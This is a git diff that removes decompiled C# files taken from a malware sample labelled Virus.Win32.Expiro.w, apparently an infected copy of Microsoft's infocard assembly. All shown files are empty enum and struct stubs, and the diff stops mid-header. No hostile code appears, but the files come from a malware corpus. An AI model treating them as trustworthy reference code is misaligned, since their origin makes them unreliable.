34ec2053..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_RELATIVEDESCRIPTION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_RELATIVEDESCRIPTION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagPROPDESC_RELATIVEDESCRIPTION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_SEARCHINFO_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_SEARCHINFO_FLAGS.cs deleted file mode 100644 index cea2ee2f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_SEARCHINFO_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_SEARCHINFO_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagPROPDESC_SEARCHINFO_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_SORTDESCRIPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_SORTDESCRIPTION.cs deleted file mode 100644 index 1da67826..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_SORTDESCRIPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_SORTDESCRIPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagPROPDESC_SORTDESCRIPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_TYPE_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_TYPE_FLAGS.cs deleted file mode 100644 index 79a325da..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_TYPE_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_TYPE_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagPROPDESC_TYPE_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_VIEW_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_VIEW_FLAGS.cs deleted file mode 100644 index 1051fa36..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_VIEW_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_VIEW_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagPROPDESC_VIEW_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPENUMTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPENUMTYPE.cs deleted file mode 100644 index add3ca83..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPENUMTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPENUMTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagPROPENUMTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPERTYUI_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPERTYUI_FLAGS.cs deleted file mode 100644 index dad16235..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPERTYUI_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPERTYUI_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagPROPERTYUI_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPERTYUI_FORMAT_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPERTYUI_FORMAT_FLAGS.cs deleted file mode 100644 index 981233ba..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPERTYUI_FORMAT_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPERTYUI_FORMAT_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagPROPERTYUI_FORMAT_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPERTYUI_NAME_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPERTYUI_NAME_FLAGS.cs deleted file mode 100644 index b28a3627..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPERTYUI_NAME_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPERTYUI_NAME_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagPROPERTYUI_NAME_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPPAGESTATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPPAGESTATUS.cs deleted file mode 100644 index 18624596..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPPAGESTATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPPAGESTATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagPROPPAGESTATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPVARIANT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPVARIANT.cs deleted file mode 100644 index 130f843d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPVARIANT.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPVARIANT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 16)] -internal struct tagPROPVARIANT -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(66)] - [StructLayout(LayoutKind.Explicit, Size = 16)] - internal struct \u0024UnnamedClass\u00240xbdab38f0\u0024307\u0024 - { - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0024UnnamedClass\u00240xbdab38f0\u0024308\u0024 - { - [MiscellaneousBits(66)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 8)] - internal struct \u0024UnnamedClass\u00240xbdab38f0\u0024309\u0024 - { - } - } - } - - [MiscellaneousBits(66)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 16)] - internal struct \u0024UnnamedClass\u00240xf8fbc640\u0024236\u0024 - { - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0024UnnamedClass\u00240xf8fbc640\u0024237\u0024 - { - [MiscellaneousBits(66)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 8)] - internal struct \u0024UnnamedClass\u00240xf8fbc640\u0024238\u0024 - { - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPictureAttributes.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPictureAttributes.cs deleted file mode 100644 index 4c9d3e68..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPictureAttributes.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPictureAttributes -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagPictureAttributes -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagQACONTAINERFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagQACONTAINERFLAGS.cs deleted file mode 100644 index 46454398..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagQACONTAINERFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagQACONTAINERFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagQACONTAINERFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagQUERY_PARSER_MANAGER_OPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagQUERY_PARSER_MANAGER_OPTION.cs deleted file mode 100644 index 33092e9d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagQUERY_PARSER_MANAGER_OPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagQUERY_PARSER_MANAGER_OPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagQUERY_PARSER_MANAGER_OPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagREADYSTATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagREADYSTATE.cs deleted file mode 100644 index 95050853..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagREADYSTATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagREADYSTATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagREADYSTATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagRECT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagRECT.cs deleted file mode 100644 index fb1e78bb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagRECT.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagRECT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 16)] -internal struct tagRECT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagREGCLS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagREGCLS.cs deleted file mode 100644 index 252d94b6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagREGCLS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagREGCLS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagREGCLS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagREGKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagREGKIND.cs deleted file mode 100644 index 4ed939df..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagREGKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagREGKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagREGKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSERVERCALL.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSERVERCALL.cs deleted file mode 100644 index e54340ef..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSERVERCALL.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSERVERCALL -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagSERVERCALL -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSF_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSF_TYPE.cs deleted file mode 100644 index 3d60cc57..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSF_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSF_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSF_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSHCOLSTATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSHCOLSTATE.cs deleted file mode 100644 index 540d383c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSHCOLSTATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSHCOLSTATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagSHCOLSTATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSHCONTF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSHCONTF.cs deleted file mode 100644 index 358ae4ee..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSHCONTF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSHCONTF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSHCONTF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSHELLITEMCOMPAREHINTF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSHELLITEMCOMPAREHINTF.cs deleted file mode 100644 index 861d35a4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSHELLITEMCOMPAREHINTF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSHELLITEMCOMPAREHINTF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSHELLITEMCOMPAREHINTF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagSHELLPROPSHEETEXTPAGEID.cs 